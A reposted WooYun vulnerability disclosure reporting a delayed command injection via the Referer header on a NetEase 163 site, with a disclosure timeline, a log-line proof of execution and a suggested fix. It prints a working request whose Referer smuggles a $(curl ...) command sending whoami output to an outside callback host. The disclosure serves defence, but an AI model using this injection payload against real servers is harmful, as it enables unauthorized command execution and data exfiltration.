神刀安全网

漏洞标题: 网易163某站点存在隐式命令注入

漏洞详情

披露状态:

2016-04-03: 细节已通知厂商并且等待厂商处理中
2016-04-07: 厂商已经确认,细节仅向厂商公开
2016-04-17: 细节向核心白帽子及相关领域专家公开
2016-04-27: 细节向普通白帽子公开
2016-05-07: 细节向实习白帽子公开
2016-05-22: 细节向公众公开

简要描述:

网易163某站点存在隐式命令注入,可远程执行任意Linux命令

详细说明:

存在命令注入的是paopao.163.com的Referer,怀疑是某个日志分析服务的问题:

code 区域
GET /search/sycProduct HTTP/1.1
Referer: $(curl http://paopao3.xxxx.dnslog.info/?whoami=`whoami`)
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13D15 MicroMessenger/6.3.13 NetType/WIFI Language/en
Host: www.paopao.163.com
Accept-Encoding: gzip,deflate
Accept: */*

上面我注入了curl和whoami命令。这个地方并不会马上导致命令执行,而是每天凌晨大约0点到2点钟被执行到。

漏洞证明:

漏洞标题:  网易163某站点存在隐式命令注入

如上图所示,实际上paopao3和163这个子域名都被成功打回了。

whoami命令也被成功执行了,当前用户是appops:

code 区域
[03/Apr/2016:00:57:22 +0800] 223.252.218.194 - - paopao3.xxxx.dnslog.info GET /?whoami=appops HTTP/1.1 200 "curl/7.26.0" "-"

漏洞标题:  网易163某站点存在隐式命令注入

修复方案:

过滤,比如去掉$(和`符号

版权声明:转载请注明来源 lijiejie@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 网易163某站点存在隐式命令注入

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址